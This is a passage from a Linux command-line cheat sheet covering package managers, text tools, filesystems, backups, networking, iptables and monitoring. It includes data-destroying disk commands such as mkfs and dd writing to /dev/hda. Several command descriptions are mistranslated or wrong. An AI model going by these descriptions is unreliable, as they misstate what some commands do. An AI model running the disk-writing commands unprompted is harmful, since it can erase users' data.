9. rpm -qg “System Environment/Daemons”: show rpm packages of a software group.
10. rpm -ql package_name: show list of files given by a rpm package installed.
11. rpm -qc package_name: show configuration files list given by a rpm package installed.
12. rpm -q package_name –whatrequires: show list of dependencies required for a rpm package.
13. rpm -q package_name –whatprovides: show the capacity provided by a rpm package.
14. rpm -q package_name –scripts: scripts show started during installation / removal.
15. rpm -q package_name –changelog: display the history of revisions of a rpm package.
16. rpm -qf /etc/httpd/conf/httpd.conf: check which rpm package belongs to a given file.
17. rpm -qp package.rpm -l: show list of files given by a rpm package not yet been installed.
18. rpm –import /media/cdrom/RPM-GPG-KEY: Import digital signature public key.
19. rpm –checksig package.rpm: verify the integrity of a package rpm.
20. rpm -qa gpg-pubkey: verify the integrity of all rpm packages installed.
21. rpm -V package_name: check the file size, licenses, rates, owner, group, check MD5 digest and last modified.
22. rpm -Va: check all rpm packages installed on the system. Use with caution.
23. rpm -Vp package.rpm: verify a rpm package not yet installed.
24. rpm2cpio package.rpm | cpio –extract –make-directories *bin*: extracting executable file from a rpm package.
25. rpm -ivh /usr/src/redhat/RPMS/`arch`/package.rpm: install a package built from a source rpm.
26. rpmbuild –rebuild package_name.src.rpm: build a rpm package from a source rpm.


YUM packages updater (Red Hat, Fedora…etc)

1. yum install package_name: download and install a rpm package..
2. yum localinstall package_name.rpm: This will install an RPM and attempt to resolve all dependencies for you, using your repositories.
3. yum update package_name.rpm: update all rpm packages installed on the system.
4. yum update package_name: upgrade a rpm package.
5. yum remove package_name: remove a rpm package.
6. yum list: list all packages installed on the system.
7. yum search package_name: Find a package repository rpm.
8. yum clean packages: clean a cache erasing downloaded packages.
9. yum clean headers: remove all header files that the system uses to resolve the dependency.
10. yum clean all: delete from the cache packages and header files.

Deb packages (Debian, Ubuntu…etc)

1. dpkg -i package.deb: upgrade a deb package.
2. dpkg -r package_name: remove a deb package.
3. dpkg -l: show all deb packages installed on the system.
4. dpkg -l | grep httpd: show all deb packages with the name “httpd”
5. dpkg -s package_name: to obtain information on a specific package installed on the system.
6. dpkg -L package_name: show list of files given by a package installed on the system.
7. dpkg –contents package.deb: show list of files given by a package not yet installed.
8. dpkg -S /bin/ping: check which package owns a given file.

APT packages updater (Debian, Ubuntu …etc)

1. apt-get install package_name: install / upgrade a deb package.
2. apt-cdrom install package_name: install / upgrade a deb package from cdrom.
3. apt-get update: update the package list.
4. apt-get upgrade: update all installed packages
5. apt-get remove package_name: remove a deb package.
6. apt-get check: check the correct resolution of dependencies.
7. apt-get clean: clean up cache from packages downloaded.
8. apt-cache search searched-package: returns list of packages that corresponds to the series’ wanted packages. ”

View the contents of a file

1. cat file1: view the contents of a file starting from the first row.
2. tac file1: view the contents of a file starting from the last line.
3. more file1: view content along a file.
4. less file1: command like ‘more’ but can save the file movement and backward movement.
5. head -2 file1: see the first two lines of a file.
6. tail -2 file1: see the last two lines of a file.
7. tail -f /var/log/messages: see in real time what has been added to the file.

Text Manipulation

1. cat file1 file2 .. | command <> file1_in.txt_or_file1_out.txt: general syntax for text manipulation using PIPE, STDIN and STDOUT.
2. cat file1 | command( sed, grep, awk, grep, etc…) > result.txt: general syntax to manipulate a text from a file and write the output to a new file.
3. cat file1 | command( sed, grep, awk, grep, etc…) » result.txt: general syntax to manipulate a text from a file and add result in an existing file.
4. grep Aug /var/log/messages: search words “Aug” on file ‘/ var / log / messages’.
5. grep ^Aug /var/log/messages: look for words that begin with “Aug” on file ‘/ var / log / messages’
6. grep [0-9] /var/log/messages: select all lines in the file ‘/ var / log / messages’ that contain numbers.
7. grep Aug -R /var/log/*: search for the string “Aug” in directory ‘/ var / log’ and below.
8. sed ‘s/stringa1/stringa2/g’ example.txt: relocate “string1” with “string2” in example.txt
9. sed ‘/^$/d’ example.txt: delete all blank lines from the example.txt
10. sed ‘/ *#/d; /^$/d’ example.txt: Remove comments and blank lines example.txt
11. echo ‘esempio’ | tr ‘[:lower:]‘ ‘[:upper:]‘: convert lowercase to uppercase
12. sed -e ’1d’ result.txt: deletes the first line of the file sample.txt
13. sed -n ‘/stringa1/p’: display only lines that contain the word “string1”.

Character set and file conversion

1. dos2unix filedos.txt fileunix.txt: convert a text file format from MSDOS to UNIX.
2. unix2dos fileunix.txt filedos.txt: convert a text file format from UNIX to MSDOS.
3. recode ..HTML < page.txt > page.html: convert a text file to html.
4. recode -l | more: show all available format conversions.

Analysis of the file systems

1. badblocks -v /dev/hda1: Check for bad blocks on disk hda1.
2. fsck /dev/hda1: repair / check integrity Linux system file on disk hda1.
3. fsck.ext2 /dev/hda1: repair / check integrity ext 2 file system on disk hda1.
4. e2fsck /dev/hda1: repair / check integrity ext 2 file system on disk hda1.
5. fsck.ext3 /dev/hda1: repair / check integrity ext 3 file system on disk hda1.
6. fsck.vfat /dev/hda1: repair / check integrity ext 3 file system on disk hda1.
7. fsck.msdos /dev/hda1: repair / check integrity of a file from MSDOS system on disk hda1.
8. dosfsck /dev/hda1: repair / check integrity of a file from a DOS system on disk hda1.

Formatting a filesystem

1. mkfs /dev/hda1: create a Linux file system on the partition hda1.
2. mke2fs /dev/hda1: create a system file type on the partition hda1
3. mke2fs -j /dev/hda1: create a Linux file system type ext3 (journal) on hda1 partition.
4. mkfs -t vfat 32 -F /dev/hda1: ccreate a FAT32 file system on hda1.
5. fdformat -n /dev/fd0: flooply format a disk.
6. mkswap /dev/hda3: create a swap file system.

Working with SWAP

1. mkswap /dev/hda3: create a swap file system.
2. swapon /dev/hda3: activate a new swap partition.
3. swapon /dev/hda2 /dev/hdb3: activate two swap partitions.

Backup

1. dump -0aj -f /tmp/home0.bak /home: make a complete backup directory ‘/ home’.
2. dump -1aj -f /tmp/home0.bak /home: make incremental backup directory ‘/ home’.
3. restore -if /tmp/home0.bak: restoring a backup interactively.
4. rsync -rogpav –delete /home /tmp: synchronization between directories.
5. rsync -rogpav -e ssh –delete /home ip_address:/tmp: rsync through SSH tunnel.
6. rsync -az -e ssh –delete ip_addr:/home/public /home/local: synchronize a local directory with a remote directory via ssh and compression.
7. rsync -az -e ssh –delete /home/local ip_addr:/home/public: Synchronize a remote directory with a local directory via ssh and compression.
8. dd bs=1M if=/dev/hda | gzip | ssh user@ip_addr ‘dd of=hda.gz’: make a backup on a hard disk on a remote host via ssh.
9. dd if=/dev/sda of=/tmp/file1: save the contents of a hard drive to a file. (In this case the hard drive is “sda” and the file “file1”).
10. tar -Puf backup.tar /home/user: make incremental backup directory ‘/ home / user’.
11. ( cd /tmp/local/ && tar c . ) | ssh -C user@ip_addr ‘cd /home/share/ && tar x -p’: copy the contents of a directory on a remote directory via ssh.
12. ( tar c /home ) | ssh -C user@ip_addr ‘cd /home/backup-home && tar x -p’: copy a local directory on a remote directory via ssh.
13. tar cf – . | (cd /tmp/backup ; tar xf – ): local copy preserving permits and links from one directory to another.
14. find /home/user1 -name ‘*.txt’ | xargs cp -av –target-directory=/home/backup/ –parents: finding and copying all files with ‘. txt’ from one directory to another.
15. find /var/log -name ‘*.log’ | tar cv –files-from=- | bzip2 > log.tar.bz2: find all files with ‘. log’ and make a bzip file.
16. dd if=/dev/hda of=/dev/fd0 bs=512 count=1: make a copy of MRB (Master Boot Record) to floppy.
17. dd if=/dev/fd0 of=/dev/hda bs=512 count=1: restore the backup of the MBR (Master Boot Record) saved on a floppy.

CD-ROM

1. cdrecord -v gracetime=2 dev=/dev/cdrom -eject blank=fast -force: clean or erase a rewritable cd.
2. mkisofs /dev/cdrom > cd.iso: create an iso image of cdrom on disk.
3. mkisofs /dev/cdrom | gzip > cd_iso.gz: create a compressed iso image of cdrom on disk.
4. mkisofs -J -allow-leading-dots -R -V “Label CD” -iso-level 4 -o ./cd.iso data_cd: create an iso image from a directory.
5. cdrecord -v dev=/dev/cdrom cd.iso: burn an iso image.
6. gzip -dc cd_iso.gz | cdrecord dev=/dev/cdrom -: burn an iso image compression.
7. mount -o loop cd.iso /mnt/iso: mount an iso image.
8. cd-paranoia -B: take songs from a cd to wav files.
9. cd-paranoia – ”-3”: take the first 3 songs from a CD to wav files.
10. cdrecord –scanbus: scan bus to identify the channel scsi.
11. dd if=/dev/hdc | md5sum: to run an md5sum in a device such as a cd.

LAN and Wi-Fi

1. ifconfig eth0: show the configuration of an Ethernet network card.
2. ifup eth0: activate an interface ‘eth0’
3. ifdown eth0: disable an interface ‘eth0’
4. ifconfig eth0 192.168.1.1 netmask 255.255.255.0: set an IP address.
5. ifconfig eth0 promisc: configure ‘eth0’ common mode for packets (sniffing).
6. dhclient eth0: active interface ‘eth0’ dhcp mode.
7. route -n: show route table
8. route add -net 0/0 gw IP_Gateway: default input configuration.
9. route add -net 192.168.0.0 netmask 255.255.0.0 gw 192.168.1.1: Configure static route for network search ‘192 .168.0.0/16’
10. route del 0/0 gw IP_gateway: remove the static route.
11. echo “1” > /proc/sys/net/ipv4/ip_forward: enable ip route.
12. hostname: display the system hostname.
13. host http://www.example.com: hostname search to resolve the name to an IP address (1).
14. nslookup http://www.example.com: find the host name to resolve the name to an IP address and vice versa (2)
15. ip link show: show the link status of all interfaces.
16. mii-tool eth0: show the link status of ‘eth0’
17. ethtool eth0: display statistics for ‘eth0’.
18. netstat -tup: show all active network connections and their PID.
19. netstat -tupl: show all network services listening on the system and its PID.
20. tcpdump tcp port 80: show all HTTP traffic.
21. iwlist scan: show wireless networks.
22. iwconfig eth1: show the configuration of a wireless network card.
23. whois http://www.example.com: search Whois database.

Microsoft Windows Networks (SAMBA)

1. nbtscan ip_addr: net bios name resolution.
2. nmblookup -A ip_addr: net bios name resolution.
3. smbclient -L ip_addr/hostname: show remote actions of a windows host.


IP Tables (FIREWALL)

1. iptables -t filter -L: show all chains of the filter table.
2. iptables -t nat -L: show all chains of the nat table.
3. iptables -t filter -F: clear all rules from the filter table.
4. iptables -t nat -F: clean all nat table rules.
5. iptables -t filter -X: delete any user-created chain.
6. iptables -t filter -A INPUT -p tcp –dport telnet -j ACCEPT: allow input telnet connections.
7. iptables -t filter -A OUTPUT -p tcp –dport http -j DROP: block output HTTP connections.
8. iptables -t filter -A FORWARD -p tcp –dport pop3 -j ACCEPT: allow POP connections to a front chain.
9. iptables -t filter -A INPUT -j LOG –log-prefix “DROP INPUT”: registering an input string.
10. iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE: configure a PAT (Port Address Translation) on eth0, hiding the forced departure packages.
11. iptables -t nat -A PREROUTING -d 192.168.0.1 -p tcp -m tcp –dport 22 -j DNAT –to-destination 10.0.0.2:22: redirect packets directed from one host to another.

Monitoring and debugging

1. top: show cpu processes.
2. ps -eafw: show cpu processes.
3. ps -e -o pid,args –forest: shows Linux processes in a hierarchal manner.
4. pstree: show system processes tree.
5. kill -9 ID_Process: force close and finish process..
6. kill -1 ID_Process: force a process to reload the configuration.
7. lsof -p $$: display a list of files opened by processes.
8. lsof /home/user1: lists open files on a given path by the system.
9. strace -c ls >/dev/null: show system calls made ​​and received by a process.
10. strace -f -e open ls >/dev/null: display library calls.
11. watch -n1 ‘cat /proc/interrupts’: show interruptions in real time.
12. last reboot: show reboot history.
13. lsmod: display the loaded kernel.
14. free -m: Displays the status of RAM in megabytes.
15. smartctl -A /dev/hda: monitor the reliability of a hard drive via SMART.
16. smartctl -i /dev/hda: check if SMART is enabled on a hard disk.
17. tail /var/log/dmesg: show events inherent in the charging process of the kernel.
18. tail /var/log/messages: show system events.

Other useful commands

1. apropos …keyword: display a list of commands that belong to the keywords of a program, are useful when you know what makes your program, but not know the command name.
2. man ping: display manual pages on-line, for example, in a ping command, use the ‘-k’ to find any related command.
3. whatis …keyword: Displays the description of what the program does.
4. mkbootdisk –device /dev/fd0 `uname -r`: create a floppy boteable.
5. gpg -c file1: encrypt a file with GNU security guard.
6. gpg file1.gpg: decode a file with GNU Security Guard.
7. wget -r http://www.example.com: download an entire website.
8. wget -c http://www.example.com/file.iso: download a file with the possibility to stop the download and resume later.
9. echo ‘wget -c http://www.example.com/files.iso‘ | at 09:00: Start a download at any time. In this case begin at 9 am.
10. ldd /usr/bin/ssh: display the shared libraries required by ssh.
11. alias hh=’history’: place an alias for a command-hh = history.
12. chsh: change the command Shell.
13. chsh –list-shells: is an appropriate command to find out if you have to remote into another terminal.
14. who -a: show who is registered, and print time of last import system, dead processes, system logging processes, active processes produced by init, current and past performance of the system clock changes.